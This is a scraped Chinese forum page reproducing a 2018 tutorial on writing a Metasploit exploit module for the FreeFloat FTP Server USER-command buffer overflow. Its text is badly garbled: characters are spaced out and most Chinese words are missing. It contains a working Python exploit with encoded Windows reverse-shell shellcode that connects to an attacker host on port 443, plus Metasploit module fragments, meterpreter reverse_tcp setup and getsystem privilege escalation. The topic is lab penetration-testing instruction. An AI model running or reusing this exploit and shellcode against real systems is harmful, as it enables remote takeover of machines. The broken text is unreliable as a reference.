[19337] 2018-06-13_Metasploit漏洞利用模块开发

文档创建者:s7ckTeam
浏览次数:15
最后更新:2025-01-18
2018-06-13_Metasploit漏洞利用模块开发 M e t a s p l o i t i   2 0 1 8 - 0 6 - 1 3 P a s s e r b y 2 i M e t a s p l o i t H . D .   M o o r e 2 0 0 3 M e t a s p l o i t 仿 使 M e t a s p l o i t M e t a s p l o i t O K 使 g o   o n ! P r i m a l   S e c u r i t y 使 M e t a s p l o i t 使 1 V i r t u a l b o x V M w a r e 2 W i n d o w s   3 2 X P   V M K a l i   L i n u x   V M 3 W i n d o w s   V M I m m u n i t y M o n a . p y F r e e f l o a t   F T P V a n i l l a   E I P h t t p : / / w w w . p r i m a l s e c u r i t y . n e t / 0 x 0 - e x p l o i t - t u t o r i a l - b u f f e r - o v e r f l o w - v a n i l l a - e i p - o v e r w r i t e - 2 / 1 D E P A S L R E M E T 2 3 使 便 E I P
i m p o r t   s y s ,   s o c k e t         t a r g e t   =   s y s . a r g v [ 1 ]         # m s f p a y l o a d w i n d o w s / s h e l l _ r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 5 6 . 1 0 2   L P O R T = 4 4 3   R |   m s f e n c o d e   - e   x 8 6 / f n s t e n v _ m o v - b   " x 0 0 x 0 a x 0 b x 2 7 x 3 6 x c e x c 1 x 0 4 x 1 4 x 3 a x 4 4 x e 0 x 4 2 x a 9 x 0 d " - t   c         # B a d C h a r s : " x 0 0 x 0 a x 0 b x 2 7 x 3 6 x c e x c 1 x 0 4 x 1 4 x 3 a x 4 4 x e 0 x 4 2 x a 9 x 0 d "     # 3 3 8 b y t e s s h e l l c o d e =   ( " x 6 a x 4 f x 5 9 x d 9 x e e x d 9 x 7 4 x 2 4 x f 4 x 5 b x 8 1 x 7 3 x 1 3 x b 7 x 3 d "         " x a d x f 8 x 8 3 x e b x f c x e 2 x f 4 x 4 b x d 5 x 2 4 x f 8 x b 7 x 3 d x c d x 7 1 "       " x 5 2 x 0 c x 7 f x 9 c x 3 c x 6 f x 9 d x 7 3 x e 5 x 3 1 x 2 6 x a a x a 3 x b 6 x d f "         " x d 0 x b 8 x 8 a x e 7 x d e x 8 6 x c 2 x 9 c x 3 8 x 1 b x 0 1 x c c x 8 4 x b 5 x 1 1 "       " x 8 d x 3 9 x 7 8 x 3 0 x a c x 3 f x 5 5 x c d x f f x a f x 3 c x 6 f x b d x 7 3 x f 5 "         " x 0 1 x a c x 2 8 x 3 c x 7 d x d 5 x 7 d x 7 7 x 4 9 x e 7 x f 9 x 6 7 x 6 d x 2 6 x b 0 "       " x a f x b 6 x f 5 x d 8 x b 6 x e e x 4 e x c 4 x f e x b 6 x 9 9 x 7 3 x b 6 x e b x 9 c "         " x 0 7 x 8 6 x f d x 0 1 x 3 9 x 7 8 x 3 0 x a c x 3 f x 8 f x d d x d 8 x 0 c x b 4 x 4 0 "         " x 5 5 x c 3 x c a x 1 9 x d 8 x 1 a x e f x b 6 x f 5 x d c x b 6 x e e x c b x 7 3 x b b "       " x 7 6 x 2 6 x a 0 x a b x 3 c x 7 e x 7 3 x b 3 x b 6 x a c x 2 8 x 3 e x 7 9 x 8 9 x d c "         " x e c x 6 6 x c c x a 1 x e d x 6 c x 5 2 x 1 8 x e f x 6 2 x f 7 x 7 3 x a 5 x d 6 x 2 b "       " x a 5 x d f x 0 e x 9 f x f 8 x b 7 x 5 5 x d a x 8 b x 8 5 x 6 2 x f 9 x 9 0 x f b x 4 a "         " x 8 b x f f x 4 8 x e 8 x 1 5 x 6 8 x b 6 x 3 d x a d x d 1 x 7 3 x 6 9 x f d x 9 0 x 9 e "         " x b d x c 6 x f 8 x 4 8 x e 8 x f d x a 8 x e 7 x 6 d x e d x a 8 x f 7 x 6 d x c 5 x 1 2 "       " x b 8 x e 2 x 4 d x 0 7 x 6 2 x b 4 x 6 a x 9 0 x 7 7 x 9 5 x 9 5 x 9 e x d f x 3 f x a d "         " x f 9 x 0 c x b 4 x 4 b x 9 2 x a 7 x 6 b x f a x 9 0 x 2 e x 9 8 x d 9 x 9 9 x 4 8 x e 8 "       " x c 5 x 9 b x d a x 5 9 x a d x 7 1 x 5 4 x 6 a x f a x a f x 8 6 x c b x c 7 x e a x e e "         " x 6 b x 4 f x 0 5 x d 1 x f a x e 9 x d c x 8 b x 3 c x a c x 7 5 x f 3 x 1 9 x b d x 3 e "         " x b 7 x 7 9 x f 9 x a 8 x e 1 x 6 b x f b x b e x e 1 x 7 3 x f b x a e x e 4 x 6 b x c 5 "       " x 8 1 x 7 b x 0 2 x 2 b x 0 7 x 6 2 x b 4 x 4 d x b 6 x e 1 x 7 b x 5 2 x c 8 x d f x 3 5 "         " x 2 a x e 5 x d 7 x c 2 x 7 8 x 4 3 x 4 7 x 8 8 x 0 f x a e x d f x 9 b x 3 8 x 4 5 x 2 a "       " x c 2 x 7 8 x c 4 x b 1 x 4 1 x a 7 x 7 8 x 4 c x d d x d 8 x f d x 0 c x 7 a x b e x 8 a "         " x d 8 x 5 7 x a d x a b x 4 8 x e 8 x a d x f 8 " )         #   E I P   c o n t r o l   a f t e r   2 3 0   b y t e s   i n   b u f f e r         #   ' 0 x 7 c 9 d 3 0 d 7 '   -   J M P   E S P   |   X P   S P 3   E N   [ S H E L L 3 2 . d l l ]   ( C : W I N D O W S s y s t e m 3 2 S H E L L 3 2 . d l l )         b u f f = ' x 9 0 ' * 2 3 0 + ' x d 7 x 3 0 x 9 d x 7 c '         s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M )         s . c o n n e c t ( ( t a r g e t , 2 1 ) )         p r i n t   s . r e c v ( 2 0 4 8 )         s . s e n d ( " U S E R   " + b u f f + ' x 9 0 ' * 1 5 + s h e l l c o d e + " r n " )         s . c l o s e ( ) L a n g u a g e   B a r r i e r 便 M e t a s p l o i t P y t h o n 1 i m p o r t   s y s ,   s o c k e t R H O S T L H O S T F T P / / 2 3 G U I p a y l o a d . e n c o d e d M e t a s p l o i t L i n u x s a m p l e . r b J a m e s   F i t t s / r o o t / . m s f 4 M e t a s p l o i t e x p l o i t   /   w i n d o w s   /   s m b   /   p e c / r o o t / . m s f 4 / m o d u l e s / p e r f i t s / w i n d o w s / s m b / p e c . r b 使 便 e x p l o i t s   /   s a m p l e . r b / r o o t / . m s f 4 / r o o t / . m s f 4 / m o d u l e s / e x p l o i t s / w i n d o w s / f t p / e x p l o i t 使 m k d i r   - p s a m p l e . r b
1 N a m e     S e a r c h   p a n l e D e s c r i p t i o n L i c e n s e   ' M S F _ L I C E N S E ' A u t h o r   R e f e r e n c e s   C V E s ' P a y l o a d ' ' T a r g e t s ' E I P 2 ' D i s c l o s u r e D a t e ' ' D e f a u l t T a r g e t ' C h e c k   F u n c t i o n   E x p l o i t   F u n c t i o n b u f s o c k . p u t   /   g e t _ o n c e P y t h o n 使 H a n d l e r   " " 使 i n c l u d e   E x p l o i t : : R e m o t e : : T c p i n c l u d e   E x p l o i t : : R e m o t e : : F t p 使 F T P F T P b a n n e r ,
使 / R u b y M e t a s p l o i t r u b y M e t a s p l o i t f t p h t t p s m t p f r e e f l o a t f t p - p r i m a l u s e   e x p l o i t   /   w i n d o w s   /   f t p   /   f r e e f l o a t f t p - p r i m a l         m s f   e x p l o i t f r e e f l o a t f t p - p r i m a l > i n f o M e t a s p l o i t c h e c k 使 d e f   c h e c k         c o n n e c t   #   c o n n e c t   t o   t a r g e t   h o s t   p o r t         d i s c o n n e c t   #   d i s c o n n e c t   f r o m   t a r g e t   h o s t   p o r t         i f   ( b a n n e r   = ~   / F r e e F l o a t   F t p   S e r v e r   ( V e r s i o n   1 . 0 0 ) / )   #   U s e   r e g e x   t o   c h e c k   b a n n e r           r e t u r n   E x p l o i t : : C h e c k C o d e : : V u l n e r a b l e   #   i f   r e g e x   m a t c h e   i n   b a n n e r   s t r i n g ,   v u l n e r a b l e         e n d   #   O t h e r w i s e             r e t u r n   E x p l o i t : : C h e c k C o d e : : S a f e   #   p r i n t   t h e   s e r v i c e   i s   " s a f e "   o r   n o t   v u l n e r a b l e         e n d 1 9 2 . 1 6 8 . 1 3 3 . 1 2 8 1 2 3 使 F t p   m i x i n M e t a s p l o i t b a n n e r 4 E x p l o i t   : :   C h e c k C o d e V u l n e r a b l e t h e   t a r g e t   i s   v u l n e r a b l e ( ) 5 b a n n e r b a n n e r s h o w   p a y l o a d s m e t e r p r e t e r 使 便 s e t   p a y l o a d   w i n d o w s   /   m e t e r p r e t e r   /   r e v e r s e _ t c p 使
s e t   L P O R T   < a n y   a v a i l a b l e   p o r t >         s e t   L H O S T   < s e t   t h i s   t o   y o u r   I P   a d d r e s s > 退 W i n d o w s E x i t T h r e a d K e r n e l 3 2 . d l l s h e l l 退 退 n o n e s e h p r o c e s s E X I T F U N C s e t   E X I T F U N C   < t h r e a d ,   s e h ,   p r o c e s s ,   n o n e > e x p l o i t 使 - j e x p l o i t s h e l l 使 r e l o a d 退 M e t a s p l o i t     e x p l o i t E x p l o i t 1 9 2 . 1 6 8 . 1 3 3 . 1 2 8 F r e e F l o a t   F T P   S e r v e r S H E L L 3 2 . d l l J M P   E S P E I P e x p l o i t   - j S H I F T - F 9 N O P s h e l l c o d e M e t e r p r e t e r s e s s i o n s   - i s e s s i o n s   - i < s e s s i o n   n u m b e r > I D 1 使 g e t s y s t e m 使 K i T r a p 0 d S Y S T E M 访 M e t a s p l o i t M e t a s p l o i t   U n l e a s h e d M e t a s p l o i t :   T h e   P e n e t r a t i o n   T e s t e r s   G u i d e E x p l o i t - D B     O r i g i n a l   E x p l o i t F r e e   F l o a t   F T P   S e r v e r   U S E R   C o m m a n d   B u f f e r   O v e r f l o w
~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则